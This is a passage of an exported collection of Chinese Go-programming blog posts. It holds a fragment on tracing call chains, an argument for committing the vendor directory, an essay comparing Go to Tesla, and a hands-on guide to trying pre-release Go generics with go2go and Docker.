href=\"https://www.zhihu.com/question/433160842\"\u003e提出的问题\u003c/a\u003e。没想到完成一种实现后，这个问题居然被删除了。那么既然实现了，就分享出来吧。问题的原文找不到了，问题大致是这样的：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e一个程序中存在多个函数调用链都调用了函数D：\n\nA1 -\u0026gt; B1 \u0026gt; C1 -\u0026gt; D\n\nA2 -\u0026gt; B2 \u0026gt; C2 -\u0026gt; D\n\nA3 -\u0026gt; B3 -\u0026gt; C3 -\u0026gt; D\n\n... ...\n\n那么，如果某次函数D被调用时出现了问题，那么怎么知道这个D是哪个函数调用链里的D呢？\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e有些gopher可能会说通过\u003ca href=\"https://www.imooc.com/read/87/article/2465\"\u003eDelve在线调试\u003c/a\u003e打印函数调用栈可以知晓D的调用链，还有些gopher可能会说通过各个函数中输出的业务日志可以查明出问题的D归属的函数调用链，这些都是可行的思路。\u003c/p\u003e","title":"Go函数调用链跟踪的一种实现思路"},{"content":"\n如果您还在使用vendor机制管理依赖包，那么说明您肯定是处于下面两种情况之一！\n还工作在传统的GOPATH模式下(使用Go 1.10及之前版本；或Go 1.11及之后版本，但GO111MODULE=off)，利用vendor管理目标包的特定依赖； 工作在go module模式下，但仍然利用vendor管理目标module的特定依赖并使用go build -mod=vendor来构建。 那么我们是否应该将项目中存储依赖包的vendor目录提交到源代码仓库进行管理呢？如果让笔者给出答案，那就是：应该。\n要想理解为什么“应该”，我们看看下面Go语言包依赖管理的演化过程就知道了。\nGo语言在构建设计方面深受Google内部开发实践模型的影响。\nGoogle内部基于主干的开发模型：\n– 所有开发人员基于主干trunk/mainline开发：提交到trunk或从trunk获取最新的代码（同步到本地workspace）\n– 版本发布时，建立Release branch，release branch实质上就是某一个时刻主干代码的快照；\n– 必须同步到release branch上的bug fix和增强改进代码也通常是先在主干上提交(commit)，然后再cherry-pick到release branch上\nGo最初的构建管理以及go get就采用了基于Google内部单一代码仓库(single monorepo)和基于主干(trunk/mainline based)的开发构建模型。具体逻辑是：在Go 1.5版本之前，go get获取的都是各个Go包所在仓库的trunk/mainline的最新代码。go get会将获取的最新代码放在\\$GOPATH/src下面，而go build会在\\$GOROOT/src和\\$GOPATH/src下面按照包导入路径(import path)去搜索这些包并执行构建操作。\n我们看到1.5版本之前Go编译器都是基于目标Go程序依赖包的trunk/mainline上的最新代码去编译的，这样的机制带来的问题是显而易见的，至少包括几点：\n因依赖包的trunk的变化，导致不同人获取和编译你的包/程序时得到的结果实质是不同的，即构建结果不能重现； 因依赖包的trunk的变化，引入不兼容的实现，导致你的包/程序无法通过编译； 因依赖包演进而无法通过编译，导致你的包/程序无法通过编译。 为了实现可重现的构建(reproduceable build)，Go语言于1.5版本引入了vendor机制：即Go编译器会优先在vendor目录下搜索依赖的第三方包，这样如果开发者将特定版本的依赖包存放在vendor下面并提交到代码仓库，那么所有人理论上都会得到同样的编译结果，从而实现可重现的构建。\n在Go 1.5发布后的若干年，Gopher们把注意力都集中在如何利用vendor解决包依赖问题，从手工添加依赖到vendor、手工更新依赖，到一众包依赖管理工具的诞生：比如: govendor、glide以及当时号称准官方工具的dep，都在努力地尝试着按照当今主流思路解决着诸如：“钻石型依赖”等难题。\n但Go核心开发团队没有走寻常路，而是另辟蹊径地在Go 1.11中引入了采用了最小版本选择(mvs)的go module。至此，Go的构建模式被一分为二：gopath mode和module-aware mode。在module-aware mode下，Go构建工具链默认不再使用传统GOPATH下或顶层vendor下面的包了，而是使用\\$GOPATH/pkg/mod下面的第三方依赖Go module的local cache。理论上，go module真正实现了“可重复的构建”，我们无需再使用Go 1.5引入的vendor机制了。但社区的反馈让Go核心开发团队将module顶层目录下的vendor目录保留了下来，主要考虑vendor还能在下面场合“发光发热”：\n保持Go1兼容性 可继续支持Go 1.5以后，Go 1.10之前的Go版本编译Go 1.11后续版本的源码(仅限于：启用了module并带有vendor)。\n支持离线构建(offline build) module/包构建所需的全部依赖都放入了vendor目录，这样即便在无网络连接的情况下，我们依然可以进行module的构建。这尤其适合企业内部执行CI/CD的那些可能没有外网访问权限的主机。\n提高构建性能，缩短CI/CD时间 在CI/CD时，由于每次都是重新构建，在module-aware模式(非vendor)下，每次都需要重新下载依赖的module到本地，这样十分耗时。而采用vendor方式则无需下载依赖module，提高了构建性能，缩短CI/CD的时间。\n解决“消失的包/module”的问题 一些module/包在经年岁月后可能被从github等托管站点删除了，这时我们如果依赖这些module/包，我们将遇到构建错误（Go Proxy的存在显然让这种可能行极大的降低了）。而使用vendor已经将包/module存放到了本地(以及自己的代码仓库中)，可以解决“包/module消失”的问题。\n快速分发module的所有依赖包 vendor目录下存放了当面module的所有依赖包(及版本)，易于打包并分发。尤其对一些无法通过go get获取到的依赖包/module，这尤为适用。\n上述“演化简史”反复提到了**“可重复构建”**，这就是Go核心团队先后推出vendor、go module所基于的核心“痛点”。并且“可重复构建”不单单是个人行为，更多是一个“团队(可以扩展到整个Go社区)”行为：让团队所有人拿到同样的代码并构建出同样的成果物。这样来看，如果不将vendor提交到源码仓库，我们就无法实现这一目标。\n在将vendor提交到代码仓库过程中，你也许会抱怨依赖的代码包太多、依赖变化频繁的问题。但go module所使用的“最小版本选择”已经将依赖变动降低到不能再低的程度了，至少比采用主流“依赖管理”思路的其他语言，比如js，构建时面临的变动要少很多了。另外降低依赖的代码包的数量也是你自己的责任，Go是“自带电池”的编程语言，其标准库中有很多优秀的包可用，尽量使用标准库包以降低过多的“依赖”。\n更多关于Go module和包依赖管理的内容，请查看技术专栏《改善Go语言编程质量的50个有效实践》。\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/03/should-you-commit-the-vendor-folder-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/should-you-commit-the-vendor-folder-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e如果您还在使用vendor机制管理依赖包，那么说明您肯定是处于下面两种情况之一！\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e还工作在传统的GOPATH模式下(使用Go 1.10及之前版本；或Go 1.11及之后版本，但GO111MODULE=off)，利用vendor管理目标包的特定依赖；\u003c/li\u003e\n\u003cli\u003e工作在go module模式下，但仍然利用vendor管理目标module的特定依赖并使用go build -mod=vendor来构建。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e那么\u003cstrong\u003e我们是否应该将项目中存储依赖包的vendor目录提交到源代码仓库进行管理呢\u003c/strong\u003e？如果让笔者给出答案，那就是：\u003cstrong\u003e应该\u003c/strong\u003e。\u003c/p\u003e","title":"vendor目录是否需要提交到代码库中？答案全在这一篇"},{"content":"\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！78元简直就是白菜价，简直就是白piao! 欢迎大家订阅！\n本文翻译自《GO — The TESLA Of Programming World》 – https://medium.com/globant/go-the-tesla-of-programming-world-a3ad8584723e。内容有改编。\n免责声明：本文的内容仅用于娱乐和提供信息。我强烈建议读者不要基于这篇文章来进行专业领域的决策。这里表达的观点仅是作者本人的观点，绝不代表作者所属任何组织的观点，思想或意识形态。\n缘起 回味着晨起后的五谷豆浆在口中的余香，反思着二闺女这四个月来的成长情况，一篇关于Go终于拥抱泛型的文章映入眼帘，紧接着就是3000多辆中国制造的出口欧洲的特斯拉Model 3汽车抵达比利时泽布吕赫港的消息。一个奇怪的想法油然而生并钻入了我的大脑：如果说Go和Tesla是通过“如何不陷入困境并对未来进行超前思考”而收到回报的新典范，那么保留了父母物种复杂的身体解剖结构的新生婴儿如何成长和发展自己的性格和态度呢。这就是让我感觉到Go确实是编程语言中的TESLA的原因和驱动力。\nTESLA在汽车世界和Go在编程世界中的崛起和成长有着惊人的相似：\n两者的诞生都打破了他们各自领域中已约定俗成的做事方式的束缚，并提出了一种新的高效方法来完成相同的事情； 两者都取得了惊人的成绩，并按照各自的增长计划前进，并似乎正在赢得这场战斗； 两者已完成的和目标都是保留各自领域的优秀部分，并在硬性方面有所改进； 两者都将成为各自领域帝国的未来。 开端 与普遍的看法相反，是通用汽车而不是特斯拉生产了世界上第一批量产的电动汽车，名为EV1。这辆车仅租赁而不出售，在生产了几年后，通用汽车召回了所有EV1汽车并销毁了它们！这促使马丁·埃伯哈德（ Martin Eberhard）和马克·塔彭宁（ Marc Tarpenning）启动TESLA（最初是TESLA汽车公司）来挑战大型汽车制造商，并引领世界进入零排放的出行方式。\n在使用Go之前，Google的开发人员面临着编译时间，代码可维护性等问题，这些问题直接影响了生产力。另外，他们需要一种具有更好的并发支持的编程语言，以更好地利用多核处理器的特性。同时更易于学习，易于实现，编写更少的程序代码。Google当时主要使用C++，并且对代码中的任何问题或较小的修改都将花费一天多的时间。C++的另一个缺点与它的内存管理模型有关：内存的分配和释放不是动态的，并且如果程序员没处理好内存分配与释放事宜，就会导致内存泄露，导致应用程序运行变慢并最终崩溃。\n在Go之前的时代，在项目开始时，需要选择要使用的编程语言：使用Python可简化操作，但也放弃了内存，CPU管理和可移植性；使用Java可利用其垃圾回收、自动内存管理和可移植性，但却以放弃简单为代价；选择其他诸如C++之类的语言则具有复杂的内存管理模型，并且没有内置的垃圾回收器。走进Go：一种简单易学的编程语言，由Rob Pike等设计的一种带有内置垃圾收集器（比Java中的垃圾收集器简单得多）的语言，支持静态编译并支持并发编程。\n经过上面仔细剖析，可以注意到TESLA和Go的成立都是由于出现了机会。一个触发了他们各自的创造者开发出一种方法，试图解决各自领域中“当时”缺点的机会。\n自持(自举) 电动汽车最重要的组件是电池，而对于编程语言来说，其最重要的组件则是被称为编译器的软件。TESLA的埃隆·马斯克（Elon Musk）最近宣布，他们将开发一种“tabless”电池，这将有助于为其车辆提供更好的续驶里程。重要消息，TESLA将自行生产这些电池。\n为什么特斯拉一开始就没有自己的电池制造部门？没有具体的原因，但特斯拉优先考虑在汽车制造方面获得他们需要的专业知识，然后冒险为他们的汽车制定内部电池生产计划。\nGo编译器是“语言实现自身”的一个典型案例。在Go 1.4版本之前，Go语言的编译器是用C编写的，后来被用Go编写的代码取代了！\n这样的自举变化提供了诸多好处，比如：可以更好地控制编译器，因为Go更简单，这使得调试编译器问题更快更容易。此外，Go还对单元测试和性能分析提供了出色的内置支持。\n进一步阅读：对于你们当中好奇心重的人，在下面的资源链接中提供了一些资料，这些资料解释了对Go编译器进行更改的动机。https://docs.google.com/document/d/1P3BLR31VA8cvLJLfMibSuTdwTuF7WWLux71CYD0eeD8/edit\n创新 在当今竞争激烈的世界中，创新一直是成功的关键所需。TESLA和Go都采用了颠覆性创新的方法。具有破坏性并不意味着新进入者必须挑战/修改/改变已经建立的完成任务方式的方方面面，而是在当前趋势下采取一种不同，更好，更简单，通常更有效的方式来完成任务。\n根据维基百科，颠覆性创新是指一种创建新的市场和价值网络并最终破坏现有的市场和价值网络，取代当前已建立的市场的领先的公司，产品和联盟的创新。\nTESLA通过几乎不存在的电动汽车制造提案进入了以燃油动力汽车为主的汽车制造市场。TESLA保留了久经考验的车辆空气动力学设计，但彻底改变了这些车辆自我推进的方式。自从他们的第一款汽车问世以来，大约12年之久，TESLA便将这场斗争推向了传统汽车制造商的家门口，而这些传统汽车制造商的生存受到了威胁，除非他们也通过创新。TESLA引领着交通的未来：零排放，可再生能源驱动的车辆。\nGo是建立在现有编程语言，例如C，Pascal和Oberon的久经考验的优势之上的编程语言。摆在Go面前的最大、最复杂的难题就是：如何实现简单和最小化。C语言已经很简单，但是Go将简单性提高到了更高的水平。Go以其在学习和实现方面的简单性以及遵循一种简单的方法来实现复杂的编程概念（如并发性）而广受赞赏。最初，Go旨在解决Google的内部编程障碍。尽管技术进步意味着多核处理器从2006年开始成为标准，但没有一种编程语言可以充分利用这种处理能力，从而导致更快，更好的代码执行时间以及对运行代码的基础硬件和软件基础设施的有效利用。\n颠覆性创新方法从Go如何处理某些编程范例得以反映出来。Go允许使用OOP样式的语法，但实际上它并不是面向对象的语言！与其他OO语言一样，它具有类型和方法，但是缺少类型层次结构。Go对继承概念的理解与JAVA等其他OO语言所追求的完全不同。与Java中需要两个关联类进行显式声明不同，Go根据某些合理的条件隐式计算类型关联关系。\n尽管进入了已经很拥挤的编程语言世界，Go在短短的十二年间就引起了巨大轰动，可以说是最受喜爱，使用最多和增长最快的编程语言之一。根据当前的市场报告，Go威胁着编程语言中的巨擘Java，并且被广泛视为未来的（头部）编程语言。\n成长 TESLA成立于2003年，当时不为人知。2008年，其首款产品发布，到2020年截至7月，TESLA已超越丰田，成为全球最具价值的汽车制造商。这就是创新的TESLA造成的破坏，它很可能取代APPLE成为全球市值最高的公司（按市值计算）。TESLA被公认为领先于其他汽车制造商至少十年的公司！\n跨平台Go语言与Google自己的DART一起，是Github上增长最快的编程语言之一。截至2020年第三季度，它是GitHub上第四大最受欢迎的语言。\n根据2020年StackOverflow开发人员调查，它是StackOverflow上最受欢迎的语言第5名。Go的发展绝非偶然，也不是炒作，尤其是当您考虑到Docker，Kubernetes，Terraform之类的应用程序完全是用Go编写的。Go也是在职专业人员希望在2020年学习的编程语言之首。借助Go 2.0，Go有望成为企业软件开发的首选语言，以取代长期以来的王者JAVA。\n观念模式 大多数TESLA的用户都是从汽油动力汽车迁移而来，为了熟悉自己的新汽车，用户需要进行重大的观念转变。用户需要了解，他们需要跟踪的不是油位和冷却液位，而是电池电量。用户还需要了解充电周期以及不正确的充电技术对车辆的影响。\n对于Go，此处的用户既是开发人员，又是推进Go项目实施工作的用户。开发人员需要特别了解项目需求，优势以及与Go相关的局限性。开发人员经常会从Go入手，这是对这门当前时代编程语言的一种狂热，从而常常忽略了它的局限性。诸如泛型和类型层次结构之类的简单概念也可以成为使用或不使用Go进行项目开发的成败之举。\n支持 对于TESLA，售后支持的挑战来自于（充电）基础设施，特别是对基础设施的收费。这可能不是其母国(即美国)的最大障碍，但如果TESLA要扩展到中国等国家，则需要与当地政府机构合作开发必要的基础设施，以维持电动汽车的机动性。\n关于Go，最大的障碍是拥有一个支持用户的技术社区。在这一领域，JAVA胜过其他已创立的语言，变得非常有说服力。JAVA得到了来自最大社区的支持。像Go这样发展壮大的语言肯定需要建立强大的，熟练的技术社区，这不仅将有助于Go成长为一种语言，而且还有助于其改进。\n可持续性 TESLA建立了自己的品牌之后，要在销售和服务过程中提供最佳的客户支持来维持它，这是一项具有挑战性的工作。此外，由于其雄心勃勃的计划是通过提供新产品来迎合大众，因此需要观察他们在生产过程中是否能够维持同样高水平的质量控制。\n与此处的TESLA相比，Go具有更大的可持续性关注。即使基于最小化和简单的原则构建，Go v2.0仍有望引入泛型。展望未来，它的创造者需要确保永不包含任何功能，概念和改进，不要偏离他们的愿景，并且最终不要成为像JAVA那样概念繁多的语言。早期采用JAVA的人也可能会告诉它，它起初只是很小的，但随着时间的流逝，它变得很沉重。Go应该避免走那条路。\n总结 考虑到上面所有观点，现在应该很清楚：TESLA取得成功的创新但艰难的道路同样适用于Go。它们各自领域中的困难本质上可能有所不同，但会以相似的原则影响着它们。\n**“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/12/01/go-is-the-tesla-of-programming-world/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-is-the-tesla-of-programming-world-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGo技术专栏“\u003ca href=\"https://www.imooc.com/read/87\"\u003e改善Go语⾔编程质量的50个有效实践\u003c/a\u003e”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！78元简直就是白菜价，简直就是白piao! 欢迎大家订阅！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-column-pgo-with-qr-and-text.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自\u003ca href=\"https://medium.com/globant/go-the-tesla-of-programming-world-a3ad8584723e\"\u003e《GO — The TESLA Of Programming World》\u003c/a\u003e – \u003ca href=\"https://medium.com/globant/go-the-tesla-of-programming-world-a3ad8584723e\"\u003ehttps://medium.com/globant/go-the-tesla-of-programming-world-a3ad8584723e\u003c/a\u003e。\u003cstrong\u003e内容有改编\u003c/strong\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e免责声明：本文的内容仅用于娱乐和提供信息。我强烈建议读者不要基于这篇文章来进行专业领域的决策。这里表达的观点仅是作者本人的观点，绝不代表作者所属任何组织的观点，思想或意识形态。\u003c/p\u003e","title":"Go是编程语言世界的“特斯拉”"},{"content":"\n本文首发于我主持的“Gopher部落”知识星球，欢迎大家加入星球，一起学习Go语言！年底前8.8折优惠，不要错过哦！\n2020年11月22日，Go核心开发团队技术负责人Russ Cox在golang-dev论坛上确认了Go泛型将在Go 1.18落地(2022.2)：\n这对于那些迫切期盼go加入泛型的gopher来说无疑是一个重大利好消息！不过，泛型是把双刃剑！泛型的加入势必会让Go语言的复杂性大幅提升。我很是担心Go加入泛型后会像C++模板那样被“滥用”而形成很多奇技淫巧，这显然不是Go项目组想看到的。因此他们现在在宣传泛型时都是比较谨慎的。Robert Griesemer在GopherCon 2020大会上演讲“Typing [Generic] Go”中明确给出了Go泛型的使用时机：\n可增强静态类型安全性的时候 可以更高效的使用内存的时候 可以(显著的)提升性能的时候 虽然这不能完全避免滥用，但至少表明了Go团队对泛型使用的态度。“能力越大，责任越大”，大家在使用泛型时务必三思而后行！\n现在，Go泛型已经处于“箭在弦上不得不发”的状态，作为Gopher，我们能做的就是拥抱它！\n离Go 1.18发布还有一年多的时间，对于极其渴望支持泛型的gopher来说，这个时间有点长！好在Go项目组已经提供了一些抢先体验Go泛型语法的方法，这里我们就来全面介绍一下，小伙伴们可以根据自己的情况任选一种抢先体验Go泛型！\n1. Go泛型在线playground 2020.6月末，Ian Lance Taylor和Robert Griesemer在Go官方博客发表了文章《The Next Step for Generics》，介绍了Go泛型工作的最新进展。同时，Go团队还推出了可以在线试验Go泛型语法的playground：https://go2goplay.golang.org：\n通过该在线playground，我们可以体验最新的Go泛型语法并查看编译和运行结果。\n在线playground的好处就在于可以随时随地访问和体验，体验设备也不局限于计算机，甚至可以使用手机/平板终端。不过该playground在国内访问不畅，并且体验仅局限于单文件的形式，对于复杂一些的项目无法支持。\n2. 基于源码编译出go2go工具 Go项目在dev.go2go分支上加入了Go泛型语法的实现，我们可以在本地基于Go项目源码构建出可以用于体验Go泛型的go2go工具。\n要想构建go2go工具，我们首先就需要下载Go项目源码。但截至目前，Go项目仓库github.com/golang/go有45000多次提交，在国内以20k/s的速度clone这个仓库那是相当耗时费力，还不一定有好结果（经常断连，一断连，就要重新来过）。当然如果你有高速vpn则另当别论了。这里介绍一个下载github上Go项目源码的过渡方法：利用gitee(码云)建立Go仓库镜像库，然后从码云以2M/s速度下载。步骤如下：\n在gitee上建立一个公共仓库，比如：gitee.com/bigwhite/go，在建立仓库时选择“导入现有库”，填入现有库的地址：https:///github.com/golang.go.git，之后，强大的“码云”就会帮助我们快速同步了。\n之后我们就可以从码云clone这个仓库：gitee.com/bigwhite/go，2M/s的速度，一分钟内就完成clone。并且码云支持强制从源仓库github.com/golang/go同步最新更新到镜像仓库，十分方便。\n$git clone https://gitee.com/bigwhite/go.git\n既然我已经在码云建立的go仓库的镜像，各位小伙伴儿们就可以直接clone我的公共库(https://gitee.com/bigwhite/go)来获取go仓库源码了。\n接下来，我们来构建go2go工具，主要步骤如下(当前环境为ubuntu，并已安装的go的版本为go 1.15.4 linux/amd64)：\n切换到dev.go2go分支\n// 进入下载后的go仓库源码目录(我这里为~/.bin/go) $git checkout dev.go2go Branch \u0026lsquo;dev.go2go\u0026rsquo; set up to track remote branch \u0026lsquo;dev.go2go\u0026rsquo; from \u0026lsquo;origin\u0026rsquo;. Switched to a new branch \u0026lsquo;dev.go2go\u0026rsquo;\n注：ubuntu需安装build-essential(apt-get install build-essential)，否则在go源码编译过程可能会出现“fatal error: stdlib.h: No such file or directory”的错误。\n编译dev.go2go分支源码 Go源码编译是“一键式”的，并且速度非常快！进入到Go项目源码下的src目录(cd ~/.bin/go/src)，执行下面命令：\n$./all.bash Building Go cmd/dist using /root/.bin/go1.15.4. (go1.15.4 linux/amd64) Building Go toolchain1 using /root/.bin/go1.15.4. Building Go bootstrap cmd/go (go_bootstrap) using Go toolchain1. Building Go toolchain2 using go_bootstrap and Go toolchain1. Building Go toolchain3 using go_bootstrap and Go toolchain2. Building packages and commands for linux/amd64. ... ... ALL TESTS PASSED --- Installed Go for linux/amd64 in /root/.bin/go Installed commands in /root/.bin/go/bin *** You need to add /root/.bin/go/bin to your PATH. 构建后的可执行文件go与gofmt被放在了bin目录下(~/go/bin)，为方便使用，我们最好将其所在路径配置到PATH环境变量中。。\n验证构建结果\n$go version go version devel +440f144a10 Tue Nov 24 01:29:01 2020 +0000 linux/amd64\n如果看到上面结果，说明构建是ok的。\n接下来，我们就来使用构建出的go工具体验一下编译运行一个使用泛型语法编写的源文件sort.go2：\n// sort.go2 package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sort\u0026quot; ) type Lang struct { Name string Rank int } type sliceFn[T any] struct { s []T cmp func(T, T) bool } func (s sliceFn[T]) Len() int { return len(s.s) } func (s sliceFn[T]) Less(i, j int) bool { return s.cmp(s.s[i], s.s[j]) } func (s sliceFn[T]) Swap(i, j int) { s.s[i], s.s[j] = s.s[j], s.s[i] } func SliceFn[T any](s []T, cmp func(T, T) bool) { sort.Sort(sliceFn[T]{s, cmp}) } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } SliceFn(langs, func(p1, p2 Lang) bool { return p1.Rank \u0026lt; p2.Rank }) fmt.Println(langs) // [{go 1} {rust 2} {swift 3}] } go2go是以go tool的一个子命令形式存在的，它支持编译和运行以**.go2为后缀的Go源文件，如果让它编译和运行.go**文件，它会报如下错误：\n$go tool go2go run sort.go Go file sort.go was not created by go2go 编译运行上面的sort.go2的命令和结果如下：\n$go tool go2go run sort.go2 [{go 1} {rust 2} {swift 3}] 有小伙伴可能会说，这个例子也是单一源文件，太简单！那我们接下来就整一个稍复杂些的。go2go这个子命令自带了一些复杂的Go泛型包，这些包的源码被放在了Go仓库源码的src/cmd/go2go/testdata下面：\n$tree -LF 2 go2path go2path └── src/ ├── alg/ ├── chans/ ├── constraints/ ├── graph/ ├── gsort/ ├── list/ ├── maps/ ├── metrics/ ├── orderedmap/ ├── sets/ └── slices/ go2go目前仅支持gopath mode，还不支持module-ware mode。go2go支持专用的GO2PATH环境变量用于指示GOPATH路径，也可以用传统的GOPATH环境变量。为了使用go2go自带的那些样例源码包，我们需要将GOPATH或GO2PATH设置为**\\$GOROOT/src/cmd/go2go/testdata/go2path**。我们在go2path路径下建立我们的样例repo：\n$tree -LF 5 go2path go2path └── src/ │ ... ... ├── github.com/ │ └── bigwhite/ │ └── gsort-demo/ │ └── demo.go2 │ ... ... └── slices/ ├── slices.go2 └── slices_test.go2 // demo.go2 package main import ( \u0026quot;fmt\u0026quot; \u0026quot;gsort\u0026quot; ) type Lang struct { Name string Rank int } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } gsort.SliceFn(langs, func(p1, p2 Lang) bool { return p1.Rank \u0026lt; p2.Rank }) fmt.Println(langs) } 我们可以用两种方法运行demo.go2：\n// 设置GO2PATH： ~/.bin/go/src/cmd/go2go/testdata/go2path/src/github.com/bigwhite/gsort-demo$ GO2PATH=$GOROOT/src/cmd/go2go/testdata/go2path go tool go2go run demo.go2 [{go 1} {rust 2} {swift 3}] 或 // 设置GOPATH和关闭GO111MODULE： ~/.bin/go/src/cmd/go2go/testdata/go2path/src/github.com/bigwhite/gsort-demo$ GOPATH=$GOROOT/src/cmd/go2go/testdata/go2path GO111MODULE=off go tool go2go run demo.go2 [{go 1} {rust 2} {swift 3}] 通过源码构建go2go工具的方法是体验Go泛型最基本的方法，我们还可以定期更新Go项目源码以体验泛型草案的最新变化。我们还可以通过go doc cmd/go2go来查看go2go命令的文档。\n3. 使用go2go的docker容器 如果觉得使用源码构建本地可用的go2go工具依然“门槛高”或者繁琐，那么可以利用一些gopher已经上传的现成的docker容器来构建使用了泛型语法的*.go2文件。这里使用的是levonet/golang:go2go：\n$docker pull levonet/golang:go2go 使用go2go容器编译运行单个*.go2文件 我们还以上面那个sort.go2为例，该文件可以放在任意目录下，然后我们在该文件所在目录下执行下面命令即可编译运行它：\n$ docker run --rm -v \u0026quot;$PWD\u0026quot;:/go/src/myapp -w /go/src/myapp levonet/golang:go2go go tool go2go run sort.go2 [{go 1} {rust 2} {swift 3}] 这句docker run命令的含义是：将宿主机当前工作目录(即sort.go2所在目录)挂载到容器中的**/go/src/myapp下面，并将/go/src/myapp作为当前工作目录，执行go tool go2go run sort.go2**。\n对于复杂的如上面的github.com/bigwhite/gsort-demo的例子，通过docker容器一样可以编译，只不过命令复杂一些：\n~/temp/github.com $docker run --rm -v \u0026quot;$PWD\u0026quot;:/usr/local/lib/go/src/cmd/go2go/testdata/go2path/src/github.com -w /usr/local/lib/go/src/cmd/go2go/testdata/go2path/src/github.com/bigwhite/gsort-demo -e GO2PATH=\u0026quot;/usr/local/lib/go/src/cmd/go2go/testdata/go2path\u0026quot; levonet/golang:go2go go tool go2go run demo.go2 [{go 1} {rust 2} {swift 3}] 我们将github.com目录放在任意目录下，比如：~/temp，然后将当前目录挂载到容器的**/usr/local/lib/go/src/cmd/go2go/testdata/go2path/src/github.com目录下，设定工作目录为/usr/local/lib/go/src/cmd/go2go/testdata/go2path/src/github.com/bigwhite/gsort-demo**，然后为容器新增以环境变量GO2PATH，这样我们就可以编译运行demo.go2了。\n注1：容器中的GOROOT为/usr/local/lib/go\n4. 使用Goland体验Go泛型 著名Go语言IDE产品goland也宣布支持体验最新的Go泛型语法，由于笔者很少使用图形化的IDE，因此各位小伙伴可自行通过这篇博客https://blog.jetbrains.com/go/2020/11/24/experimenting-with-go-type-parameters-generics-in-goland/来了解具体情况。\n5. 参考资料 levonet/golang – https://hub.docker.com/r/levonet/golang dev.go2go branch – https://go.googlesource.com/go/+/refs/heads/dev.go2go/README.go2go.md 